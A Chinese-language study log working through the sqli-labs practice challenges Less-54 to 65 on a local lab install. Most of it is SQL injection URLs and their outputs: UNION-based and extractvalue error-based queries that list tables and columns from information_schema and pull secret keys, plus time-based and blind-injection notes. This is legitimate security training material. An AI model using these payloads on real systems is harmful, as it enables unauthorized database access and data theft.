sqli-lib 实战日志（六）

`sqli-lib` `sql注入`

此系列主要是一个进阶的学习，将前面学到的知识进行更深次的运用。只能尝试十次。所以需要在尝试的时候进行思考。如何能更少的
减少次数。这里的表名和密码等是每十次尝试后就强制进行更换。
因为已经知道了数据库名字叫做 challenges，而secret key 就在这个库中。所以我们需要知道表名。

Less-54

- 判断注入类型为字符型

```
http://localhost/sqli-labs-master/Less-54/
?id=1%27%20or%201=1--+
```

- 读取表名

```
http://localhost/sqli-labs-master/Less-54/
?id=-1'union select 1,2,group_concat(table_name) from
information_schema.tables where table_schema='challenges'--+
### zgy65kl0i5
```

- 读取列名

```
http://localhost/sqli-labs-master/Less-54/
?id=-1'union select 1,2,group_concat(column_name) from
information_schema.columns where table_name='zgy65kl0i5'--+
### sessid,secret_UJ7G,tryy
```

- 读取秘钥

```
http://localhost/sqli-labs-master/Less-54/
?id=-1'union select 1,group_concat(tryy),group_concat(secret_UJ7G) fro
m zgy65kl0i5--+
```

```
### OXg2plHOs2U5srONhAZxeR82
```

Less_55

- 判断注入类型为小括号类型

```
http://localhost/sqli-labs-master/Less-55/
?id=1) or 1=1--+
```

后面都是类似的。

Less_56

- 判断注入点为一个单引号加一个小括号

```
http://localhost/sqli-labs-master/Less-56/
?id=1") or 1=1--+
```

Less_57

```
http://localhost/sqli-labs-master/Less-57/
?id=1"" or 1=1--+
```

Less_58

输入1 发现没有返回语句。这边需要用报错注入

- 判断注入点为一个单引号

```
http://localhost/sqli-labs-master/Less-58/?id=1%27%20or%20sleep(5)--+
```

- 读取表名

```
http://localhost/sqli-labs-master/Less-58/index.php
?id=-1'union select 1,2,extractvalue(1,concat(0x7e,(select table_name
from information_schema.tables where
table_schema=0x6368616c6c656e676573),0x7e))--+
```

```
### XPATH syntax error: '~r485f04kwz~'
```

- 读取列名

```
http://localhost/sqli-labs-master/Less-58/index.php
?id=-1'union select 1,2,extractvalue(1,concat(0x7e,(select
group_concat(column_name) from information_schema.columns where table_
name=0x723438356630346b777a),0x7e))--+
### XPATH syntax error: '~id,sessid,secret_RIXB,tryy~'
```

- 读取秘钥

```
http://localhost/sqli-labs-master/Less-58/index.php
?id=-1'union select 1,2,extractvalue(1,concat(0x7e,(select secret_RIXB
from r485f04kwz),0x7e))--+
### XPATH syntax error: '~VzcnXntyEvsZYxGwx0IvQdhs~'
```

Less_59 60 61

> 这里几道题目考察的都是报错注入，只不过注入点不同

- 59直接注入
- 60 为")
- 61 为'))

Less_62 63 64 65

> 这里几道题目考察的都是盲注，注入点不同

union 和 错误回显都被过滤了。思路应该是用盲注没错了。

- 62 ')
- 63 '
- 64))
- 65)

脚本可以参考第二部分我写的。只能够查询160次。所以复杂度要低一点。推荐用二分查找盲注。但是160次还是不够用。主要是秘钥实在是太长了，还包括了大小写字母加数字。
不知道有什么好的方法能够解决呢。